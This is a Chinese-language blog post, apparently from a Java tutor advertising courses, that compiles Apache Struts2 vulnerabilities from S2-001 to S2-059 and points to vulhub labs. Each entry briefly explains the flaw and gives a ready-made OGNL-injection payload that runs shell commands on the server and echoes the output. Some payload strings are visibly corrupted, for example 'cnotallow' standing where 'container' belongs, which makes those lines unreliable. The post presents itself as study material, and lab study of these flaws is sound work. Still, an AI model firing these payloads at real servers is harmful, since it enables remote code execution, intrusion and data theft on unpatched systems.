简介:大家好,我是枫哥🌟一线互联网的IT民工、📝资深面试官、🌹Java跳蚤网课堂创始人。拥有多年一线研发经验,曾就职过科大讯飞、美团网、平安等公司。在上海有自己小伙伴组建的副业团队,目前业余时间专注Java技术分享,春招/秋招/社招/跳槽,一对一学习辅助,项目接活开发。


总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。

漏洞环境搭建可以使用在线的 ​​Vulfocus​​​ ,或者使用docker部署,项目连接:​​https://github.com/vulhub/vulhub/tree/master/struts2​

S2-001 (CVE-2007-4556)

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

影响版本

Struts 2.0.0 – Struts 2.0.8

复现过程

在框中输入%{1+2},会把其中的 value 值进行计算

 

Struts2 漏洞集合_后端

 执行之后,变成了3( OGNL 表达式%{value}执行成功)

Struts2 漏洞集合_后端_02

 Poc

Struts2 漏洞集合_开发语言_03

 

S2-007

当 <ActionName> -validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回,造成OGNL表达式注入。从而可能造成远程执行代码。

当用户 age 以str而不是的形式提交时 int,服务器将拼接 “‘“ + value + “‘“ 代码,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码

影响版本

2.0.0 – 2.2.3

Poc

Struts2 漏洞集合_开发语言_04

 

S2-013(CVE-2013-1966)

Apache Struts2的s:a和s:url标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。

Struts2 漏洞集合_Access_05

 Poc (注:poc中的符号需要进行 url 编码之后才可以)

/link.action?fakeParam=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

 

Struts2 漏洞集合_后端_06

 

S2-012 (CVE-2013-1965)

OGNL 评估已在​​S2-003​​​和​​S2-005​​​和​​S2-009 中得到解决​​,但是,由于它只涉及参数的名称,因此结果是基于将可接受的参数名称列入白名单并拒绝评估参数中包含的表达式的结果修复名称,仅部分关闭了漏洞。

第二次评估发生在重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时。
这使得恶意用户可以将任意 OGNL 语句放入由操作公开的任何未经处理的 String 变量中,并将其评估为 OGNL 表达式以启用方法执行和执行任意方法,从而绕过 Struts 和 OGNL 库保护。

在配置文件中 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,可能会导致 OGNL 表达式命令执行。

Poc

Struts2 漏洞集合_后端_07

 

S2-015 (CVE-2013-2135、CVE-2013-2134)

Struts 2 允许基于通配符定义动作映射,如下所示:

<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>

如果请求不匹配任何其他定义的动作,它将被匹配​​*​​​并且请求的动作名称将用于根据动作名称加载 JSP 文件。并且由于 { ​​1​​} 的值被威胁为 OGNL 表达式,因此允许在服务器端执行任意 Java 代码。这个漏洞是两个问题的结合:

  • 请求的操作名称未转义或再次检查白名单
  • ​TextParseUtil.translateVariables​​​使用组合​​$​​​和​​%​​开放字符时对 OGNL 表达式的双重评估。

Poc

/$%7B%20%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())%7D.action

S2-048 (CVE-2017-9791)

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。

Struts2 漏洞集合_struts_08

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#cnotallow=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

S2-019

Apache Struts 2.3.15.2之前版本的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

Poc

/struts2-showcase-2.1.6/showcase.action?debug=command&expressinotallow=%23a%3D(new java.lang.ProcessBuilder('ls')).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char[50000]%2C%23d.read(%23e)%2C%23out%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23out.getWriter().println('dbapp%3A'%2bnew java.lang.String(%23e))%2C%23out.getWriter().flush()%2C%23out.getWriter().close()%0A

S2-053

继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。

当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。

影响范围

Struts 2.0.1 – Struts 2.3.33、Struts 2.5 – Struts 2.5.10

在框中输入 %{1+1} ,回显值 2,说明执行成功

Struts2 漏洞集合_后端_09

 Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#cnotallow=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

 

Struts2 漏洞集合_java_10

 

S2-057

Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

当Struts2的漏洞利用以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

Poc

​​http://your-ip:8080/$%7B233*233%7D/actionChain1.action

​http://your-ip:8080/%24%7B233*233%7D/actionChain1.action​Poc(需要url编码)

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

S2-037 S2-052 s2-033 (这几个Poc 可以重复使用)

Poc

url/orders/4/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&cnotallow=16456&command=id

Struts2 漏洞集合_后端_11

S2-059

Poc

=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

 

Struts2 漏洞集合_后端_12

 

Struts2 漏洞集合_后端_13

 

S2-045(CVE-2017-5638) S2-046 (POC通用)

Apache官方发布Struts 2 紧急漏洞公告(S2-046),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

S2-045漏洞影响的版本有:

Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10

Poc

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

 

Struts2 漏洞集合_开发语言_14

 Poc

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#cnotallow=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}